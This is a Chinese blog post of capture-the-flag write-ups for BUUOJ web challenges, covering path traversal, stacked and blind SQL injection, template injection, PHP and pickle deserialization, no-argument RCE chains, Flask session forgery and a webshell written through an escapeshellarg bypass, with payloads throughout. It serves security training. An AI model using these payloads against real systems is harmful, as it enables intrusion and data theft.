感谢 glzjin 师傅
[HCTF 2018]WarmUp
这是 CISCN2019 华南赛区半决赛的题目…当时没做出来
太菜了
题目源自 CVE-2018-12613
源码如下
<?php |
这里可以看到, 有is_string
的判断, 数组绕过是不可行的, 只能绕过checkFile
, 而checkFile
里面有二次urldecode
, 这给我们提供了机会, 如果我传一个
?file=source.php%253f |
其中%253f
是?
的二次编码, 这样既可绕过前面的检测, 那么接下来就是使用目录穿越了
先访问hint.php
, 可以看到
flag not here, and flag in ffffllllaaaagggg |
这里有个知识点是, 当二重编码时, 这里的source.php
相当于一个目录, 也就是说我们位于
location: /var/www/html/source.php/ |
所以 4 次目录穿越, payload 如下
?file=source.php%253f/../../../../ffffllllaaaagggg |
或者不用判断多少直接多来几个/../
也可以
最终 payload
?file=source.php%253f/../../../../ffffllllaaaagggg |
[强网杯 2019]随便注
解题一
fuzz 之后发现过滤了select
上网找找有没有能绕过 select 的方法, 查到了堆叠过滤, 简单测一下, 我们先输入一个复合语句
1';show tables; |
可以看到输出正常, 说明后端的实现应该是
mysqli_multi_query($sql); |
而平时的实现是mysql_query
这样的语句可以支持多条 sql 语句同时执行, 那要绕过 select 的过滤的话可以使用
set @t=0x68616861686168;prepare x from @t;execute x; |
预编译语句来执行, 其中@t 的部分是执行语句的 hex 编码, 例如我们要执行
select * from `1919810931114514`; |
hex 编码后替换上面的aaaaa
即可
解题二
这里其实已经有了一个select
, 那我们如果利用这个来查询的话就可以直接查询 flag 了
先查看一下两个表的结构, 表名我们前面已经查出来了
1';show columns from words; |
有两个列, 一个是 id 另一个是 data, 明显 id 就是查询的索引, 所以先重命名两个表
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# |
可以给表增加一个 id 列或者直接将 flag 列改成 id 列, 然后万能密码
1' or 1=1# |
查出 flag
GetFlag
最终 payload 如下
1';Set @t=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;Prepare x from @t; Execute x; |
[强网杯 2019]高明的黑客
强网杯的题目, 拉下来有 3001 个混淆过的 php, 随便打开后可以看到有输出
回来看一下源码, 可以看到有许多 get 或者 post 的参数, 并且有eval
, system
, assert
等系统函数, 但是大部分都赋值或者无法使用
当时比赛的时候还傻乎乎的用 phpstorm 去一行行跟过, 这题主要考察的是 fuzz 的想法, 通过对这些文件进行 fuzz 来查找可以使用的参数, 首先需要启动 php 服务, 在 win 下我们使用 phpstudy 直接开就可以了, linux 下直接
php -S 0:8080 |
即可访问, 然后是通过正则去匹配传入的参数名
(?<=_GET\[\').*(?=\'\]) # POST同理 |
这里不能写成
(?<=_(GET|POST)\[\').*(?=\'\]) |
否则会报错
查找一下, 网上的说法是
Python lookbehinds really need to be fixed-width |
也就是不能存在不确定宽度的内容, 所以我们需要将 post 和 get 分开, 这里有个技巧就是先收集所有的 post 和 get 参数同时发送, 如果在内容中检查到我们需要的信息, 再对当前文件的参数进行逐个 fuzz, 这样可以节约很多 http 的开销, 单线程脚本如下
import requests |
多线程脚本如下
import os |
[护网杯 2018]easy_tornado
打开后可以看到有 3 个文件, 整理一下文件的信息如下
/flag.txt |
同时可以观察到 url
http://8054a022-951c-4d19-bc64-c61811d345b4.node3.buuoj.cn/file?filename=/hints.txt&filehash=3a8e112bdc5efa665da8d5d7df15d1e8 |
根据文件名和 url, 我们猜测是验证filehash
后, 打开了对应的文件并将内容显示到网页中, 而filehash
的计算公式中还需要一个cookie_secret
, 随便改一下 filename, 有个错误页面
python 中经常出现 404 页面的 SSTI, 这里的 msg 就是可以注入的参数, 一般来说, Flask 的注入可以执行很多系统命令, 但是其他的模板如 Django 只能获取一些系统的变量等等, 在 tornado 中有个很方便的对象handler
, 参考 https://www.cnblogs.com/bwangel23/p/4858870.html, 它指向了RequestHandler
, 可以用来获取 Web Application 的 setting, 例如我们需要的cookie_secret
一般就是在 Application 的 setting 里面, 这里使用
error?msg={{handler.settings}} |
然后 md5
<?php |
带上参数访问即可
[SUCTF 2019]Pythonginx
首先看到源码
@app.route('/getUrl', methods=['GET', 'POST']) |
需要绕过几个检测, 然后urlopen()
打开, 由于要检测 host, 所以不能直接打开文件, 这里有个知识点是如果用file://
协议打开一个链接形式如下
file://hostname:port/path |
file 协议会默认从本地匹配路径, 因此上面的链接相当于
file:///path |
有了文件读取, 现在需要绕过这个检测, 这里参考blackhat
的 payload
绕过的 payload 如下
http://47.111.59.243:9000/getUrl?url=file://suctf.c%E2%84%85pt/../etc/passwd |
解析后相当于
http://47.111.59.243:9000/getUrl?url=file://suctf.cc/opt/../etc/passwd |
成功读取, 当时比赛的时候找了很久都没有找到 flag
然后需要找到nginx
的配置文件, 参考官方手册
也就是说默认的有如下几个路径
/usr/local/nginx/conf/nginx.conf |
分别读一下, 就能找到 flag 的位置
[安洵杯 2019]easy_serialize_php
可以看到源码
<?php |
再看一眼 phpinfo, 可以看到有个文件, 想办法读它
审计代码的关键点在于
extract($_POST); |
一个是变量覆盖, 一个是反序列化
而代码最后是
echo file_get_contents(base64_decode($userinfo['img'])); |
回溯一下
$userinfo <- unserialize($serialize_info) <- $serialize_info <- filter(serialize($_SESSION)) |
那我们要覆盖的就是$_SESSION
, 这里有个 filter, 他是在反序列化之后进行的, 而这就会出现反序列化字符串逃逸的漏洞
首先了解一下 https://xz.aliyun.com/t/6718
php 对于反序列化的处理中, 不会对内容进行检查, 他只是单纯的根据声明的数字去找内容, 正常的反序列化字符串是这样的
a:1:{s:1:"b";s:1:"c";} |
如果我们把内容 c 改成这样
a:1:{s:1:"b";s:4:"c";}";} |
php 也能够正常的反序列化, 因为 c 的部分声明了 4 的长度, 后面的 4 个字符都会包含在里面, 而如果出现某种情况导致 4 长度变成了 1, 那反序列化就会结束而忽略掉最后的;}
, 也就是说下面这样的字符串也可以正常的反序列化
a:1:{s:1:"b";s:1:"c";}";} |
而怎么造成这样的变化呢, 代码中有一个filter
函数, 他会使得_SESSION
数组的键值长度变短
function filter($img){ |
如果我们让键值为imgflagflag
, 就能吞掉后面 8 位的内容, 因为两个flag
被替换成空了, 如果 8 个字符可以到达这个键对应的值的位置, 那我们就能够任意构造字符串了, 例如
a:1:{s:11:"imgflagflag";s:45:"";xxxxxxx;}";} |
这里的串如果经过 filter 的话会变成
a:1:{s:11:"img";s:45:"";xxxxxxx;}";} |
也就是说x
前面的内容都被包括进前一个字符串了, 后面的内容就自由构造, 只要符合语法就可以了
附上生成的 exp
<?php |
[ByteCTF 2019]Boring Code
题目代码很简洁, 先是在 index.php 里面有一句
flag in this file and code in /code |
访问 code, 可以看到代码
<?php |
由于实在是绕不过去 baidu.com 的检测, 去买了个kapbaidu.com
的域名, 花了 55 块钱, 很心痛
有了域名就很快乐, 可以直接读命令了, 然后要绕过正则, 是一个无参数 RCE 的正则, 可以参考两道之前的题目
- codebreaking 的 phplimit
- rctf2018 的 r-cursive
读文件的 payload 大概如下
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
但是题目把里面的大部分都过滤了, 先 fuzz 了一下可用函数
<?php |
研究了很久之后决定用 chr() + 时间函数的组合
readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(next(each(localtime()))))))))))); |
简单来说就是上面的变型, 其中
- end 代替 next(array_reverse())
- chr(microtime()) 和 chr(next(scandir(chr(next(each(localtime())))))) 都是代替 .
- next(scandir() 代替 ..
但是这个太随缘, 爆了很久都没用, 最后队友@kk 发了个替换.
的方法
next(each(localeconv())) |
最终 payload 如下
readfile(end(scandir(chr(microtime(chdir(next(scandir(next(each(localeconv())))))))))); |
传到服务器上爆破即可
不过在 buu 上做就心酸的多了, 赵总给了个内网的靶机, 但是xshell
挂上代理连不上
用proxychains
也没连上
在这个师傅的博客上找到了绕过的方法 Buuoj Writeups(一)
url=compress.zlib://data:@baidu.com/baidu.com?,payload; |
然后就是随缘爆破了, 这里也说一下 buu 的访问频率在每秒 50 个请求以内, 超过就会 ban ip
[上海大学生赛 2019]decade
第五届上海大学生信息安全竞赛的题目, 这题是上一题的升级版, 不在 buu 上面, 顺带分析了, 先看源码
<?php |
翻出之前的 payload
readfile(end(scandir(chr(microtime(chdir(next(scandir(next(each(localeconv())))))))))); |
首先还是 fuzz 一下可用的函数
<?php |
然后查找一下read
相关的函数, readgzfile
这个函数可以用
其他的如
gzread
, bzread
都因为参数问题无法调用, 但是实际上file
函数也是可用的, 不过 file 函数返回的是数组, 对于echo
的话, 不能处理数组, 我们有以下的方法来进行拼接
- join
- serialize
- implode
接下来就是构造46
或者.
了, 翻一下boring_code
的相关题解, 可以看到构造的方法有这么几种
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))); |
其实大概就是数学方法和随机(玄学)方法, 找到了网上的两种做法分别是
chr(strrev(uniqid())); |
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/
chr(ord(hebrevc(crypt(phpversion())))); |
- 数学方法 (官方解法)
参考http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html
chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))); |
拼接一下 payload 即可
readgzfile(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid()))))))))))); |
[HCTF 2018]admin
主要参考自 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup
登录后可以看到有源码位置, 下载来看看
https://github.com/woadsl1234/hctf_flask/
下载后看路由routes.py
, 这个很可疑的函数就是其中一个突破点
解法一 unicode 欺骗
关于这个函数, 可以看 [unicode 欺骗](https://panda1g1.github.io/2018/11/15/HCTF admin/)
简而言之就是
ᴬ -> A -> a |
那我们就可以利用这样的操作来登录 admin 了
- 注册
ᴬdmin
- 登录``ᴬdmin
, 此时变为
Admin` - 更改密码, 此时即为
admin
- 用新密码登录
admin
即可
解法二 Session 欺骗
原因是泄露了SECRET_KEY
, 那么我们就可以解开这个 session 并伪造了
使用下面这个工具即可
https://github.com/noraj/flask-session-cookie-manager
先注册我们的账号后获取 cookie
session=.eJw9kE2LwjAYhP_KkrOHJuteCh4WosWF9y0psSG5iFtr03x0oSpdI_73VVm8zjDPMHMl28PYHi3JT-O5nZFtvyf5lbx9k5wA1xfkQIEvEyaYQK48JkGRGw_Fly8VBkwhGtcwLDAYWXmQ3aRjbUFVvZYN1dJEkHpuuJi0W2bIYELXXYDvIyYbUYYeY-3veY9u84sRe802c1BiQv75DgydkdYiWyfgdTC8u5RF9cg4kEsKTNBS6QW5zUhzHA_b049vh9cEdCKhwghqFTWre-TdBG79oaWeSrWh91qrUwhQiMzwEIyrLIrFE9fHXde-SI0yQ_vvDLvYPiQXs2wgM3I-tuPzOEIzcvsDlENuLg.XkFf9Q.RLHeiZt47umzNlKn7JODZ-bQWts
解密
python flask_session_cookie_manager3.py decode -c '.eJxxxxxxxx' -s 'ckj123'
Output:
"ckj123" -t "{'_fresh': True, '_id': b'06243501373011d74546d0bd9ce79ff764cee4d180bea1dba75a6f168d40b147c068207f78f59b6ed4cd6516cbce81d04073cce8a7b305ed828db6ec1153d59f', 'csrf_token': b'6435cf1afceb480229a609e54cac9e0d4d9ef4a5', 'image': b'qfgy', 'name': 'cjm00n', 'user_id': '10'}"然后将
name
改为 admin 并加密python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_freshxxxxxx"
Output:
.eJw9kE1rAjEURf9KydqFSe1GcFGIDhbeGzLECclGdBwnn1MYlakR_3utFNeXcy733sj2OLQnS-bn4dJOyNYdyPxG3vZkToDrK3KgwJcZM4wgVwGzoMhNgOIrlAoj5piMbxgWGI2sAshu1Km2oCqnZUO1NAmknhkuRu2XU2Qwou-uwA8Js00oo8NUhwcf0G9-MKHTbDMDJUbkn-_A0BtpLbJ1Bl5Hw7trWVR_jAe5pMAELZVekPuENKfhuD1_h7Z_TUAvMipMoFZJs9oh70bw6w8t9ViqDX3UWp1jhEJMDY_R-MqiWDx1Lu269mVqlOnb_6TfpUdAdofkejIhl1M7PH8jdEruvyuNbi8.XkFg2w.fFLXcLQnZfAYUlnkHDMu79ar_w0使用获得的值替换 cookie 即可
解法三 条件竞争
这个想法很骚气, 先看下面两处代码
首先是登录处, 将session['name']
赋值为我们传的值
而更改密码处是直接使用了session['name']
我们假设有进程 A 和 B 使用了同样的 session
- A 请求登录 admin, 那么此时
session['name']
为admin
- 同时 B 请求改密码, 这时改的就是
admin
的密码
注意在两次操作中 sessionid 是会改变的
代码实现如下(这里本地搭了一下环境没搭起来, 就不去祸害 buu 了)
import requests |
[CISCN2019 华北赛区 Day2 Web1]Hack World
先 fuzz 一下
可以看到有布尔的结果, 那么应该是布尔盲注, 然后再看过滤的内容, 其中 482 长度的为被过滤的
这里其实不太明白为什么检测的内容这么少, 回去看源码
<?php |
这里用的函数是stripos
, 那么就很明显了, 如果出现在第一位, 则函数结果为0
, 在类型转换后就是False
, 所以前期 fuzz 就不顺利了 hhh
重新 fuzz 结果
然后就构造一下盲注的 payload, 这里可以用
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,0) |
或者使用异或也可以
1^(ascii(substr((select(flag)from(flag)),1,1))>1) |
写个脚本跑一下
import requests |
[网鼎杯 2018]Fakebook
一开始以为是二次注入, 不过发现他点击用户名之后, 有个请求页面的功能, 同时观察到 url 有个no=1
这里一定有请求数据库, 那么先注入一下,
发现没有什么过滤, 回显在第二列,依次注入后, 发现 data 中是一个反序列化字符串
0%20union/**/select%201,(select%20group_concat(data)%20from%20users),3,4%23 |
我们再观察一下, 他有个robots.txt
, 内容如下
User-agent: * |
访问后可以看到一部分源码
这里可以看到有个curl
, 那么试试 file 协议
在注入中将结果更改为file:///var/www/html/flag.php
一开始没找到, 看 wp 中是在这个位置
payload 如下
0%20union/**/select%201,(select%20group_concat(data)%20from%20users),3,'O:8:"UserInfo":3:{s:4:"name";s:6:"cjm00n";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23 |
然后 base64 解开即可
[GXYCTF2019]BabySQli
直接上 payload 吧
name=1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456 |
其中e10adc3949ba59abbe56e057f20f883e
=MD5(123456)
[CISCN2019 华北赛区 Day1 Web1]Dropbox
首先点进去, 随便注册个账号, 发现有文件上传功能, 先上传一个试试,
看一下下载
的功能
function download() { |
试试能不能任意文件下载, 证明是可以的, 不过需要用绝对路径, 默认的路径不在 html 下面
然后就是审计了, 可以看到有个神奇的close()
这个应该就是获取 flag 的地方了, 那找一下调用的部分
这里有个调用点, 结合文件上传, 应该是 phar 反序列化, 那是不是直接用
User -> __destruct() -> File -> close() |
这条调用链呢, 答案是不行的, 如果这样的话是可以实现读取, 但是不能够输出, 所以需要借助第三个类
这个类有两个主要的方法
__call()
: 用于实现函数调用, 对于自身没有的函数会调用$file->$func()
__destruct()
: 用于输出
那么调用链就可以实现了
User -> __destruct() -> Filelist -> close()[不存在] -> __call() -> File -> close() |
然后使用 phar 生成的 exp 如下
<?php |
随手写了个 py 脚本进行自动化上传
import requests |
[CISCN2019 华北赛区 Day1 Web2]ikun
这题蛮有意思的
首先看一下页面
发现有个提示, 翻了几页没有看到 lv6 的, 测了一下发现页数还是挺多的, 可以到 200
写个脚本跑一下
import requests |
结果在181
页, 但是价格巨大, 在 post 参数中发现有price
和discount
, 改一个很小(大?)的折扣
然后就可以顺利买到了, 然后提示一个新的页面b1g_m4mber
这里不是XFF
那些操作, 而是通过改 jwt 参数来伪造, 有点像前面的[HCTF 2018]admin
在 https://jwt.io/ 查询一下当前的 jwt
但是改 jwt 前需要获取key
, 使用 c-jwt-cracker 爆破一下
顺利伪造
在页面的注释找到了源码的位置
审计, 发现有个pickle反序列化
参考 https://blog.csdn.net/qq_26406447/article/details/91964502,
当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 reduce 方法来告知如何进行序列化或者反序列化也就是说我们,只要在新式类中定义一个reduce 方法,我们就能在序列化的使用让这个类根据我们在 reduce 中指定的方式进行序列化
脚本如下
import pickle |
先点击成为大会员的按钮
然后将抓到的 post 包的become
参数改为脚本的输出就可以了
关于具体的pickle
反序列化可以参考 python pickle 反序列漏洞
[BUUCTF 2018]Online Tool
主要参考 https://althims.com/2019/07/25/buu-online-tool-wp/
https://tiaonmmn.github.io/2019/09/08/BUUOJ%E5%88%B7%E9%A2%98-Web-Online-Tool/
标准的 RCE 题目, 而且可以看到两个比较特别的函数
分别查一下手册
有意思的是这个中文居然还有儿化音 hhh
那么来分析一下, 直接用 payload 来做解释
' <?php phpinfo();?> -oG shell.php |
首先这个 payload 会经过escapeshellarg
, 这个函数有以下三个步骤
- 对单引号进行转义
\' <?php phpinfo();?> -oG shell.php |
- 将转义的单引号用单引号包裹起来
'\'' <?php phpinfo();?> -oG shell.php |
- 将整个语句用单引号包裹起来
''\'' <?php phpinfo();?> -oG shell.php ' |

然后经过escapeshellcmd
, 这个函数的步骤如下
- 在以下字符前面加入转义符, 在 win 下所有这些字符以及 % 和 ! 字符都会被空格代替, 不过实测发现是被
^
代替
&#;`|*?~<>^()[]{}$\, \x0A, \xFF |
匹配单引号数量(包括被
\
转义的), 如果是奇数则转义最后一个单引号, 如果是偶数则不转义''\'' <?php phpinfo();?> -oG shell.php '
则会变成
''\'' <?php phpinfo();?> -oG shell.php \'
如果是
''\''' <?php phpinfo();?> -oG shell.php '
则不会转义
当然在实际中, 语句的中间部分也会被转义, 结果如下
可以看到前面的''\\''
已经闭合, 中间的部分则会写入到shell.php
中, 而为了避免最后出现的单引号来影响文件名, 我们需要在 payload 的最后加一个``, 在 url 中需要写成%20
, 不然会被浏览器自动忽略
最终 payload 如下
' <?php echo `cat /flag`;?> -oG shell.php |
然后访问即可
[BJDCTF2020]Easy MD5
MD5($password, true)
ffifdyop |
===
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
[BJDCTF2020]The mystery of ip
模板注入, 读了下源码
if (!empty($_SERVER['HTTP_CLIENT_IP'])) |
获取 ip 的方式如上, 我们只要随便选一个填写注入代码就可以了
我用的是client-ip
[极客大挑战 2019]BabySQL
双写绕过
[ASIS 2019]Unicorn shop
参考 https://shawroot.hatenablog.com/entry/2019/10/29/ASIS_2019-Unicorn_shop
随便买个东西会发现报错
这个有点迷惑, 查了下好像是环境的问题, 如果改动price
会有另外一个错误
提示我们需要用一个char
来表示数字, 结合题目的unicorn
, 应该指的是unicode
, 可以在这个网址找到
并且我们可以看到有些字符会有一个Numeric Value
的值, 这就可以用来转换了, 像这样找到一个大于1337
(最贵的 item)的值就可以了
[RoarCTF 2019]Easy Calc
<?php |
源码很简单, 只需要将需要绕过的地方用chr()
表示就可以了, 但是这里有个 waf, 当时一直绕不过去, 看了 wp 才知道, 在 php 解析变量的时候, 会替换空白符, 也就是说在 php 中
?num=1 |
和
?%20num=1 |
是一样的, 但是对于其他的语言并不一定, 所以可以通过这样的方法来绕过 waf
那么 payload 如下
1;var_dump(scandir(chr(47))); // ls |
作者: cjm00n
地址: https://cjm00n.top/CTF/buuoj-writeup-1.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。
评论